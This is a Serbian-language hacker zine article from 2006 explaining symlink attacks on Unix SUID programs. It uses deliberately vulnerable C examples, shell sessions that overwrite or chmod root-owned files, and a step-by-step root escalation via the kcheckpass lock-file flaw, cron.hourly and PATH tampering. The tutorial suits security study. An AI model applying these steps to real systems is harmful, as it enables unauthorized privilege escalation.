................... ...::: phearless zine #5 :::... ........................>---[ Symlink Attacks ]---<......................... .........................>---[ by Wintermuth ]---<.......................... anikolic@phearless.org http://anikolic.phearless.org [1] Uvod [2] World wide writting symlink bag [3] Menjanje permisija symlink bug [4] kcheckpass - real world symlink bag eksploitacija [5] Last words //////////////////////////////////////////////////////////////////////////// --==<[ 1. Uvod \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ E pa ljudi eto mene ponovo. Sad je peti januar ove sveze nove 2006e godine. I polako se blizi vreme novom jubilarnom 5om izdanju nama omiljenog phearlessa. Prezivesmo docek nove godine, kako tako, ja sam se evo snabdeo novom tastaturom jer je stara popila dupli martini i pola piva i umrla (uopste nije na gazdu:)). Samim tim sto je nova treba i malo da se razgiba a i ja treba da naucim da kucam po istoj. Meni to ne predstavlja problem ali mislim da ce Shatterhand da me tera dodjavola kad mu budem predao tekst pun gresaka u kucanju :) Anywayz, dosta praznih prica, nisam vam ja bl00d, nego da krenemo mi na sam tekst. Nedavno sam primljen na jedan forum i tamo bio jedan challenge da se resi. Bio je u pitanju upravo symlink napad. Do sada sam takve smatrao neiskoristivim i nije mi palo na pamet kako bi mogao da se iskoristi za dobijanje root shella sto je i bio cilj. Pitao sam jos neke ljude i niko od njih nije imao ideju kako da ga resimo. Napokon, autor challengea je postavio jedno od mogucih resenja i ja sam se udario u glavu koliko je prosto, ali opet prilicno lukavo. Naime, kod symlink napada morate biti kreativni sto ovaj challenge dokazuje. Ovde cu na manje vise, pravim primerima pokazati neke tehnike eksploitisanja symlink attack bagova. Za razliku od drugog teksta, tj nastavka onog iz prethodnog broja ovaj tekst je prilicno lagan za razumevanje i mislim pristupacan svima. Ono sto vam treba za njegovo razumevanje jeste malo poznavanje UNIXoliki sistema i zdrav mozak. Znanje Ca nikada nije na izmet jer sam primere davao uglavnom u istom. //////////////////////////////////////////////////////////////////////////// --==<[ 2. World wide writting symlink bag \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Symlink bagovi nastaju pri losoj ili nikakvoj proveri fajlova u koje program upisuje nesto. Iskoriscavanje symlink bagova vam dozvoljava da pisete po odredjenim a cesto i bilo kojim fajlovima, po kojima inace nebiste mogli, i time na kraju dovedu do toga da vi dobijete root shell ili nesto slicno. Da bi bili od neke vece koristi symlink bug bi trebalo da postoji u SUID programu. Sto znaci da bi se on pokretao s root pravima i time imao pristup svemu. Ovo je vrlo cest slucaj. Jos jedna vrlo cesta greska koju programeri cine jeste da kad prave tmp fajlove za potrebe programa obicno ne osecaju potrebu za proverama pre njihove upotrebe i pri samom kreiranju istih sto takodje dovodi do mogucnosti za symlink napad. Sta nama tacno omogucava symlink bag? Recimo da imamo SUID program koji ne radi potrebne provere pre koriscenja ili pisanja fajla u koji nesto upisuje. Takodje, znamo i mesto i ime gde se taj fajl nalazi. Znajuci to, mozemo na mesto gde ce se fajl nalaziti da napravimo symlink koji ce pokazivati na neki drugi fajl, koji nam inace zbog prava pristupa nijej dostupan. Naravno, taj symlink ce imati isto ime kao i fajl koji bi program koristio. Sta se zatim desava? Program biva pokrenut. Ne proverava da li fajl vec postoji ili da li je stvarno fajl ili je nesto drugo pocinje da pise po njemu. Posto je to u stvari symlink on ne pise po njemu vec po fajlu na koji symlink pokazuje. Posto je SUID program, on moze da pose po svim fajlovima i omogucava nam da radimo nesto sto nebismo smeli :). Da bi ovo malo razjasnili i prakticno demonstrirali koristicu se jednim prostim primerom: ------symvuln1.c--------- #include main(int argc, char **argv[]) { FILE *aca; aca = fopen("aca","a+"); fprintf(aca,"%s",argv[1]); fclose(aca); } ------/sumvuln1.c------- Sta to imamo ovde? Pa prosto, program uzima argument pri pokretanju i upisuje ga u fajl pod imenom "aca". Ovo je samo prost primer, tesko da ce se negde u nekom programu nacinesto ovako banalno, ali postoje sanse da se nadje u nekoj skripti koju je napisao neki mrzovoljni amdinistrator da bi radio neke poslove automatski a pri tome nije razmisljao o ovakvom vidu napada. Da bi nam bio od neke koristi program mora da bude SUID. earthquake@gibson:~$ su Password: root@gibson:/home/earthquake# gcc symvuln1.c -o symvuln1 root@gibson:/home/earthquake# chown root.root symvuln1 root@gibson:/home/earthquake# chmod +s symvuln1 root@gibson:/home/earthquake# Dobro, imamo SUID program koji pise sta god mi pozelimo u fajl aca u mom home direktorijumu bez da proverava isti prethodno. Sta bi mogli s tim majku mu? Pa naravno, symlink napad. A za to nam treba symbolicki link ka nekom fajlu koji zelimo da menjamo a inace nemamo tu mogucnost. Na pamet mi pada mnogo fajlova ali da nebih morao da sredjujem svoj sistem posle ovoga necu se petljati s pravim fajlovima vec sa laznim ali bice vam jasno sta hocu da kazem. Dakle symlink: earthquake@gibson:~$ ln -s /root/passwd aca earthquake@gibson:~$ ls -l aca lrwxrwxrwx 1 earthquake users 12 2006-01-05 13:49 aca -> /root/passwd Sada u svom home direktorijumu imam symlink aca koji pokazuje na fajl /root/passwd (citaj /etc/passwd ali kao sto rekoh, da ne pravim backupove i da bih ustedeo sebi muke posle). I kada sad pokrenem nas ranjivi program: earthquake@gibson:~$ ./symvuln1 www.phearless.org earthquake@gibson:~$ cat /root/passwd cat: /root/passwd: Permission denied earthquake@gibson:~$ su Password: root@gibson:/home/earthquake# cat /root/passwd | grep www <------ www.phearless.org <---i evo ga root@gibson:/home/earthquake# root@gibson:/home/earthquake# exit exit earthquake@gibson:~$ Eto, uspesno smo upisali ono sto smo zeleli u fajl u koji inace nebismo mogli. Mislim da vam je jasnko kako bi ovo mogli da iskoristite da bi dosli do privilegovanog naloga na sistemu. Valjda ne moram bas sve da crtam :) //////////////////////////////////////////////////////////////////////////// --==<[ 3. Menjanje permisija symlink bug \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Drugi, verovatno cesci, vid symlink bugova jesu i greske kada program menja permisije nekog fajla bez prethodne provere istog. Na primer, slican scenario, imamo program koji u nekom trenutku menja permisije pristupa nekog fajla iz nekog razloga ali prethodno ne proverava taj fajl kako bi trebalo. Opet naravno mozemo da iskoristimo tu mogucnost symlink napada i promenimo permisije nekog fajla i time dobijemo pristup istom. Naravno i u tom slucaju program koji je ranjiv na symlink napade mora da bude SUID da bi nam bio od koristi. Nego ajde to lepo da ilustrujemo primerom da bi bilo jasnije: -------symvuln2.c--------- #include #include #include main(int argc, char **argv[]) { chmod("aca",00400|00200|00100|00040|00020|00010|00004|00002|00001); } ------/symvuln2.c--------- Ovaj jednostavni program samo menja permisije na fajlu "aca" koji se nalazi u mom home direktorijumu na world readable, world writeble i world executable permisije. I naravno, ocigledno nema potrebnih provera nad fajlom koji menja. Stoga je ranjiv na symlink napad. Da bi bio od neke koristi mora da bude SUID: earthquake@gibson:~$ Password: root@gibson:/home/earthquake# gcc symvuln2.c -o symvuln2 root@gibson:/home/earthquake# chown root.root symvuln2 root@gibson:/home/earthquake# chmod +s symvuln2 root@gibson:/home/earthquake# exit exit earthquake@gibson:~$ Sada kada je SUID treba nam i taj famozni symlink pod imenom aca u mom home direktorijumu. Namestimo ga da pokazuje na neki bitan fajl koji do sada nismo mogli ni da gledamo a ni da pisemo , logicno. Prvo koji svakome padne na pamet jeste /etc/shadow naravno mada je izbor veliki. Ajde da vidimo kako to funkcionise: earthquake@gibson:~$ su Password: root@gibson:/home/earthquake# cd ~ root@gibson:~# ls -l passwd -rwxr--r-- 1 root root 777 2006-01-05 13:57 passwd root@gibson:~# exit exit Ocigledno je kakve su permisije na fajlu /root/passwd. earthquake@gibson:~$ ln -s /root/passwd aca earthquake@gibson:~$ ls -l aca lrwxrwxrwx 1 earthquake users 12 2006-01-05 14:53 aca -> /root/passwd* Napravili smo symlinkk aca ka fajlu /root/passwd. earthquake@gibson:~$ ./symvuln2 earthquake@gibson:~$ su Password: root@gibson:/home/earthquake# cd ~ root@gibson:~# ls -l passwd -rwxrwxrwx 1 root root 777 2006-01-05 13:57 passwd root@gibson:~# exit exit Pokrenuli smo program i sada su permisije na passwd fajlu promenjene u nasu korist. Sada svako moze da ga cita i pise po njemu, moze i da ga izvrsava ali to nije bitno jer nije skripta ili nesto slicno. To je bio jos jedan vid symlink napada koji se cesce srece. Tacnije, retko cete naci u nekom programu gresku koja ce vam dozvoliti da kontrolisete sta se upisuje u fajl kao u prvom primeru ali se cesce nalaze ovakve greske. Prilicno slicna ranjivost prvom primeru bila je u Sendmail paketu verzije 8.8.4. Tacnije ako sendmail utvrdi da onaj host kojem je mail namenjen ne postoji on ga je smestao u fajl koji se zvao dead.letter, tacnije smestao je sadrzaj poruke. Zbog nepostojanja provera, napadac je mogao da posalje mail na nepostojecu adresu a da prethodno od dead.letter napravi symlink ka recimo /etc/passwd fajlu, a u samom mailu napise sve potrebno da bi se napravio acc sa root privilegijama i bez sifre. //////////////////////////////////////////////////////////////////////////// --==<[ 4. kcheckpass - real world symlink bag eksploitacija \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ E sad, sve je to lepo ali sta ako ne mozemo da kontrolisemo output, a i ne menjaju se privilegije pristupa? Savrsena ilustracija ovog problema je onaj challenge koji sam pomenuo na pocetku teksta. Naime radilo se o symlink bagu u jednom od KDE programa. Tacnije rec je o kcheckpass programu koji vrsi autentifikaciju korisnika. Ajde da vidimo sam advisory koji nam dolazi od SureSeca i od gospodina Ilje van Sprundela. Ilja inace obozava da rusi stvari, na ovom poslednjem Chaos Comunication Congressu je drzao predavanje o fuzzerima, na kojem naravno nisam bio, ali se nadam da h4z4rd jeste i da ce moci da mi ga preprica/da ili sta vec, Ilja ima iza sebe nekoliko fuzzera za mnoge stvari i autor je FUZZING.pdf teksta/prezentacije/necega koja obuhvata neke ideje iz tog domena. Nego dosta o Ilji, bacimo se na advisory: Vulnerable systems: * kdebase versions 3.2.0 to 3.4.2 kcheckpass is a utility used to authenticate users. It's used by tools such as kscreensaver. The code that's used to create a lockfile doesn't check for or sets the umask. Besides the umask problem it will also happily follow symlinks, as shown by the following code snippet: ... sprintf(fname, "/var/lock/kcheckpass.%d", uid); if ((lfd = open(fname, O_RDWR | O_CREAT)) >= 0) { } ... In order for an attacker to be able to exploit this /var/lock would have to be world writable and kcheckpass would have to be suid. When these conditions are met an attacker can create a world writable file anywhere. When properly exploited users can gain root privileges (given that the previously mentioned conditions are met). Dakle, kao sto kaze advisory kcheckpass pravi lock file u /var/lock i ne proverava ga kako bi trebalo. To nam omogucava da probamo sa symlink napadom da dobijemo root. Ajd prvo da vidimo sta se desava: earthquake@gibson:~$ cd /var/lock earthquake@gibson:/var/lock$ ls -l total 4 drwxr-xr-x 2 root root 4096 2006-01-05 18:53 subsys/ earthquake@gibson:/var/lock$ kcheckpass Password: Authentication failure earthquake@gibson:/var/lock$ ls -l total 8 -rwxr-x--T 1 root users 13 2006-01-05 19:55 kcheckpass.1000* drwxr-xr-x 2 root root 4096 2006-01-05 18:53 subsys/ earthquake@gibson:/var/lock$ cat kcheckpass.1000 1136487342 0 earthquake@gibson:/var/lock$ Kao sto vidimo, pri pokretanju, kcheckpass trazi sifru. Pri unosu pogresne sifre stvara lock file pod imenom kcheckpass.$UID. Posto je moj UID 1000 lock fajl se zove kcheckpass.1000. Kao sto vidimo, sadrzaj lock fajla je 1136487342 0 sto definitivno nemozemo da kontrolisemo. A kao sto vidimo iz sourcea kcheckpass programa on ne menja permisije fajla. Upravo zato je ovaj challenge bio zanimljiv i zbog toga sam lupao glavom o zid (ne bukvalno). Resenje je krajnje prosto ali na prvi pogled neocigledno. Resenje je da se output koji kcheckpass ispisuje preusmeri na neku vec postojecu skriptu koju zatim izvrsava neki SUIDni program. Naslucujete kuda ovo vodi nadam se. Tako sto upisemo, ovo sto kcheckpass normalno upisuje u neki fajl, u neku skriptu, pri pokretanju skripte ona ce pokusati da izvrsi fajl koji se zove upravo kao output iz kcheckpassa, u ovo slucaju 1136487342. Mozemo napraviti prost program koji bi nam davao shell pristup sa root privilegijama i da ga nazovemo 1136487342. Kada ga skripta koja je pokrenuta od strane SUID program apokrene on ce nam dati shell i voila w00t!!!. Ajde da vidimo to u praksi. Prvo treba da nadjemo odgovarajucu skriptu koju ce pokrenuti neki SUIDni program. Postoji naravno vise nacina za eksploitaciju ovoga. Posto nemam bas mnogo vremena da cesljam po sistemu trazeci odgovarajucu skriptu, koristicu CRON. CRON jednostavno vidi sta se nalazi u odredjenim folderima u /etc/ i izvrsava te fajlove kao skripte. Dakle, ako u folderu /etc/cron.hourly napravimo bilo koju skriptu, sam cron ce je izvrsavati svakih sat vremena. I to izgleda ovako: earthquake@gibson:/var/lock$ ls -l total 4 drwxr-xr-x 2 root root 4096 2006-01-08 11:18 subsys/ earthquake@gibson:/var/lock$ ln -s /etc/cron.hourly/expl.sh kcheckpass.1000 earthquake@gibson:/var/lock$ ls -l total 4 lrwxrwxrwx 1 earthquake users 24 2006-01-08 14:45 kcheckpass.1000 -> /etc/cron.hourly/expl.sh drwxr-xr-x 2 root root 4096 2006-01-08 11:18 subsys/ earthquake@gibson:/var/lock$ Dobro, sad imamo skriptu, fali nam samo ono sto ce skripta pokrenuti a to je program koji ima ime onog timestampa koji ostavlja kcheckpass. To je 1136487342 ili sl. Da bi nam bio od koristi to treba da bude neki program koji bi nam nakon svog izvrsenja dao privilegovani pristup sistemu. Znaci ili da doda novog usera sa root pravima ili da /etc/shadow stavi na world readble ili nesto trece, kreativnost je korisna. Znaci, napravite takav program, kompajlirate ga i stavite mu ime 1136487342. Ali to nije sve, potrebno je i da postavite $PATH varijablu kako treba da bi cron mogao da nadje vas program. Dakle: earthquake@gibson:~$ echo $PATH /usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/games:/opt/www/htdig/bin: /usr/lib/java/bin:/usr/lib/java/jre/bin:/opt/kde/bin:/usr/lib/qt/bin:. earthquake@gibson:~$ export PATH=/home/earthquake:/usr/local/bin:/usr/bin: /bin:/usr/X11R6/bin:/usr/games:/opt/www/htdig/bin:/usr/lib/java/bin: /usr/lib/java/jre/bin:/opt/kde/bin:/usr/lib/qt/bin:. earthquake@gibson:~$ echo $PATH /home/earthquake:/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/games: /opt/www/htdig/bin:/usr/lib/java/bin:/usr/lib/java/jre/bin:/opt/kde/bin: /usr/lib/qt/bin:. earthquake@gibson:~$ E sad kad ste to postavili jedino sto nam preostaje jeste da sacekamo da se zavrsi taj cron job koji u stvar izvrsava nas program sa root privilegijama i to je to. //////////////////////////////////////////////////////////////////////////// --==<[ 5. Last words \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Naravno, verovatno postoji i neki bolji nacin da se ovo eksploitise ali meni za sada nije pao na pamet. Ako neko bude imao interesantna resenja neka mi posalje na mail. Par hintova za eksploitaciju: Mozete koristiti npr /etc/profile skriptu ali se setite kada se samo ona pokrece. Eventualno mozete koristiti i /etc/ld.so.preload fajl, ali onda stvari bivaju prilicno komplikovanije. U ovo slucaju budite vrlo pazljivi posto vrlo lako mozete unistiti svoj sistem. Kod ovakvih vrsta napada jako bitna stvar je biti kreativan. To je u sustini ono sto ovu "profesiju" cini interesantnom. Da ne duzim, ae pozdrav svima.